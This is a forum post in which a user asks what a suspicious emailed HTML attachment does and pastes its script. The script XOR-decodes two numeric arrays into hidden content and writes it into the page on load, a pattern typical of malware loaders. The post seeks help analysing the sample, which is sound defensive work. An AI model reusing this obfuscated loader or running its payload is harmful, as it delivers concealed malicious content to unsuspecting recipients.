What does this Javascript do?
We have received a couple of emails in html format that contain an attachment called standstill.htm. When they are opened in notepad they mean absolutely nothing to me except for the fact that it creates two arrays called "agitated" and "smacks" that appear to contain what will eventually be code and the last little bit that is a writefile command. It's bloody suspicious to someone who knows nothing about javascript..... :o
Any clues would be appreciated. Fortunately, these are being stopped by the spam filter.
Code:
<script language="JavaScript">
agitated = new Array(109,
222,195,73,225,124,94,154,181,236,192,
216,60,164,198,162,253,2,206,34,221,
147,47,169,158,80,162,206,214,47,213,
172,84,100,181,186,96,168,15,128,87,
210,230,113,66,218,216,122,194,251,165,
220,169,38,83,26,246,177,8,59,226,
132,252,93,101,2,31,129,42,109,127,
52,103,45,0,17,42,54,238,7,241,
73,11,112,146,216,97,175,216,209,110,
148,42,58,74,182,150,191,49,102,13,
21,154,212,93,198,114,254,208,143,91,
234,65,238,34,29,250,122,151,221,187,
111,10,62,119,84,103,154,163,8,58,
174,49,171,190,119,41,125,93,95,248,
56,35,92,53,150,29,251,82,5,180,
55,87,217,122,24,65,162,94,63,222,
250,115,42,142,77,222,95,133,11,96,
236,202,61,210,152,78,239,109,50,191,
184,182,240,140,119,180,172,193,167,68,
153,104,148,159,36,224,138,76,252,209,
151,34,207,172,65,44,184,171,26,213,
68,222,14,139,251,104,77,159,204,103,
205,162,169,215,178,63,12,76,188,241,
15,35,249,206,180,82,115,89,22,203,
124,58,76,96,122,96,8,21,99,120,
181,84,227,84,89,25,183,142,106,237,
222,222,44,222,22,55,89,240,133,162,
39,126,2,77,132,199,94,128,40,185,
145,206,3,173,6,233,43,16,179,113,
140,141,182,50,90,99,37,5,55,156,
254,92,85,139,108,237,226,40,86,62,
27,18,162,115,45,10,127,218,78,185,
26,82,176,50,26,131,61,4,65,190,
75,98,158,185,96,115,154,12,212,21,
157,26,103,249,194,62,218,211,10,238,
45,62,191,229,235,192,204,42,246,175,
135,171,4,136,53,210,195,123,159,201,
11,177,139,220,44,153,230,13,116,229,
186,96,168,15,145,73,134,253,121,67,
199,137,96,213,178,247,142,242,125,84,
87,174,176,24,41,225,222,243,93,118,
25,27,128,99,97,124,61,102,34,10,
19,117,53,231,12,174,76,5,59,217,
218,100,175,208,144,59,201,13,36,11,
240,129,233,54,45,73,95,192,133,17,
156,123,233,199,132,87,161,12,225,103,
7,239,113,222,194,241,42,75,124,111,
69,116,143,166,65,25,195,104,182,167,
120,108,105,64,80,161,52,40,71,44,
201,75,177,18,2,172,44,29,145,117,
14,26,171,20,105,137,201,39,50,195,
69,218,22,203,78,109,243,215,53,211,
197,25,175,114,113,174,181,161,206,130,
121,243,166,207,225,21,213,55,192,208,
43,180,141,78,165,195,154,61,204,175,
31,113,242,240,25,202,86,151,6,130,
235,50,70,149,198,39,205,163,232,196,
178,62,71,15,179,252,80,45,186,155,
163,103,33,65,89,131,36,100,49,110,
117,44,29,66,8,80,183,1,236,65,
71,103,207,209,62,162,209,138,43,220,
79,37,84,239,134,161,121,35,72,22,
135,216,76,201,32,176,129,148,8,167,
12,169,43,17,242,98,140,140,253,113,
85,110,122,11,116,201,233,105,7,156,
35,165,186,118,43,48,19,93,229,114,
57,77,39,219,5,188,9,6,179,122,
86,145,104,27,66,228,92,61,197,226,
127,97,138,77,223,20,199,13,96,241,
138,61,211,216,84,226,46,55,191,227,
236,128,216,45,253,228,193,175,2,194,
44,211,130,43,176,198,95,246,136,136,
121,142,224,3,34,162,166,83,158,90,
157,14,206,252,110,70,199,137,96,213,
178,247,142,242,125,84,87,174,176,24,
41,225,222,243,93,118,25,27,128,99,
97,124,61,102,34,10,19,117,53,231,
12,174,76,5,59,220,157,50,184,230,
206,102,130,18,99,29,186,209,180,56,
54,73,7,129,141,11,158,109,226,217,
149,10,246,93,228,53,74,144,24,223,
137,244,57,31,127,39,9,102,218,185,
66,67,212,55,237,252,103,126,121,1,
91,160,110,63,64,36,129,72,184,25,
92,160,47,20,145,115,9,90,186,84,
52,213,185,125,102,194,67,156,65,209,
49,62,172,139,54,223,209,6,179,126,
58,253,238,174,220,206,38,167,233,192,
181,18,215,110,210,221,52,183,142,16,
248,137,193,62,211,189,86,121,251,224,
67,193,92,157,70,130,234,115,85,149,
199,108,142,172,229,155,188,125,18,24,
134,175,78,98,242,195,253,26,47,74,
21,150,115,15,25,108,102,62,81,113,
15,102,251,86,161,26,72,100,131,191,
9,188,201,192,127,144,90,122,69,149,
251,234,39,122,13,94,220,192,23,163,
69,224,149,132,87,169,65,238,53,17,
251,47,193,136,237,42,79,54,122,69,
44,143,166,24,80,193,121,182,187,117,
110,97,67,88,235,121,36,69,110,138,
66,187,13,29,175,36,86,212,125,67,
81,162,92,119,222,185,126,106,137,71,
203,94,153,6,127,190,155,92,188,139,
77,224,37,115,242,230,252,203,217,55,
167,233,152,227,70,212,38,158,207,97,
168,141,74,239,214,154,101,204,175,70,
56,240,225,25,214,91,149,14,129,227,
120,11,153,196,101,142,170,226,219,173,
61,79,68,246,244,29,99,244,133,244,
10,63,17,30,130,111,60,47,127,40,
112,83,83,117,100,134,98,189,9,3,
125,203,140,14,138,133,209,61,195,17,
115,69,149,251,234,120,44,89,15,159,
142);
smacks = new Array(81,
182,183,36,141,66,83,144,137,142,175,
188,69,154,203,168,193,102,167,84,253,
242,67,192,249,62,159,236,181,74,187,
216,49,22,151,132,109,162,51,240,105,
238,143,28,37,250,171,8,161,198,135,
180,221,82,35,32,217,158,127,76,149,
170,155,56,17,118,119,228,77,2,19,
80,73,78,111,124,5,90,139,104,129,
38,103,20,189,178,3,128,185,254,95,
172,117,10,123,152,241,214,87,68,45,
98,243,176,41,174,79,220,229,186,107,
200,97,134,71,116,157,18,227,224,153,
94,63,12,85,106,91,248,209,54,55,
164,13,194,211,16,9,14,47,60,197,
26,75,40,65,230,39,212,125,114,195,
64,121,190,31,108,53,202,59,88,177,
150,23,4,237,34,179,112,233,110,15,
156,165);
deduced = 1142;
autocorrelation = 173;
var roundness = "";
for(potentiometers = 0; potentiometers < deduced; potentiometers++)
roundness = roundness + String.fromCharCode(agitated[potentiometers] ^ smacks[potentiometers % autocorrelation]);
document.write(roundness);
</script>
